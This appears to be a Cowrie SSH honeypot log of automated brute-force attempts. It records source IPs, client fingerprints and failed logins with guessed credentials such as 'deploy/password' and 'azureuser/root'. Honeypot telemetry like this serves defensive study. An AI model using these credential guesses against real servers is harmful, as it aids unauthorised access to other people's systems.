{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:30.908129Z","src_ip":"14.63.196.175","session":"fae79417a54a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:30.975480Z","src_ip":"91.92.40.36","session":"8482338b1330","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:31.509421Z","src_ip":"91.92.40.36","session":"76d696da3786","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:31.518330Z","src_ip":"91.92.40.36","session":"76d696da3786","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mtx","password":"mtx","message":"login attempt [mtx/mtx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:31.767099Z","src_ip":"14.63.196.175","session":"fae79417a54a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:32.976392Z","src_ip":"14.63.196.175","session":"fae79417a54a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"1","message":"login attempt [root1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:33.172307Z","src_ip":"91.92.40.36","session":"76d696da3786","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:34.594160Z","src_ip":"91.92.40.36","session":"76d696da3786","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25194,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f7a34b7ee56","protocol":"ssh","message":"New connection: 91.92.40.36:25194 (10.17.0.5:22) [session: 3f7a34b7ee56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:39.612751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:39.751450Z","src_ip":"91.92.40.36","session":"3f7a34b7ee56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:39.754568Z","src_ip":"91.92.40.36","session":"3f7a34b7ee56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"root","message":"login attempt [azureuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:40.997732Z","src_ip":"91.92.40.36","session":"3f7a34b7ee56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:42.383056Z","src_ip":"91.92.40.36","session":"3f7a34b7ee56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39364,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5bd0b664781","protocol":"ssh","message":"New connection: 91.92.40.36:39364 (10.17.0.5:22) [session: c5bd0b664781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:46.332395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:47.202597Z","src_ip":"91.92.40.36","session":"c5bd0b664781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:47.207306Z","src_ip":"91.92.40.36","session":"c5bd0b664781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:50.736725Z","src_ip":"91.92.40.36","session":"c5bd0b664781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:52.239189Z","src_ip":"91.92.40.36","session":"c5bd0b664781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39402,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e13c2b38f3b","protocol":"ssh","message":"New connection: 91.92.40.36:39402 (10.17.0.5:22) [session: 3e13c2b38f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:55.632030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:56.134565Z","src_ip":"91.92.40.36","session":"3e13c2b38f3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:56.992653Z","src_ip":"91.92.40.36","session":"3e13c2b38f3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":34936,"dst_ip":"159.203.135.109","dst_port":22,"session":"0159e71c51e0","protocol":"ssh","message":"New connection: 129.146.243.24:34936 (159.203.135.109:22) [session: 0159e71c51e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:57.281698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:57.295115Z","src_ip":"129.146.243.24","session":"0159e71c51e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:57.384219Z","src_ip":"129.146.243.24","session":"0159e71c51e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"analytics","password":"123456","message":"login attempt [analytics/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:57.793542Z","src_ip":"129.146.243.24","session":"0159e71c51e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:58.894356Z","src_ip":"129.146.243.24","session":"0159e71c51e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manoj","password":"manoj123","message":"login attempt [manoj/manoj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:00.882704Z","src_ip":"91.92.40.36","session":"3e13c2b38f3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60504,"dst_ip":"10.17.0.5","dst_port":22,"session":"39bc9ea324b0","protocol":"ssh","message":"New connection: 91.92.40.36:60504 (10.17.0.5:22) [session: 39bc9ea324b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:02.414919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:02.762952Z","src_ip":"91.92.40.36","session":"39bc9ea324b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:02.767378Z","src_ip":"91.92.40.36","session":"39bc9ea324b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:03.280139Z","src_ip":"91.92.40.36","session":"3e13c2b38f3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"server","message":"login attempt [debian/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:04.303220Z","src_ip":"91.92.40.36","session":"39bc9ea324b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:05.883670Z","src_ip":"91.92.40.36","session":"39bc9ea324b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62878,"dst_ip":"10.17.0.5","dst_port":22,"session":"25969cb360c2","protocol":"ssh","message":"New connection: 91.92.40.36:62878 (10.17.0.5:22) [session: 25969cb360c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:10.421330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:10.688964Z","src_ip":"91.92.40.36","session":"25969cb360c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:10.692883Z","src_ip":"91.92.40.36","session":"25969cb360c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:11.460345Z","src_ip":"91.92.40.36","session":"25969cb360c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:12.634013Z","src_ip":"91.92.40.36","session":"25969cb360c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":58250,"dst_ip":"10.17.0.5","dst_port":22,"session":"cff49df31850","protocol":"ssh","message":"New connection: 45.78.204.254:58250 (10.17.0.5:22) [session: cff49df31850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:13.287818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:13.292687Z","src_ip":"45.78.204.254","session":"cff49df31850","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:36:13.547468Z","src_ip":"45.78.204.254","session":"cff49df31850","protocol":"ssh"}
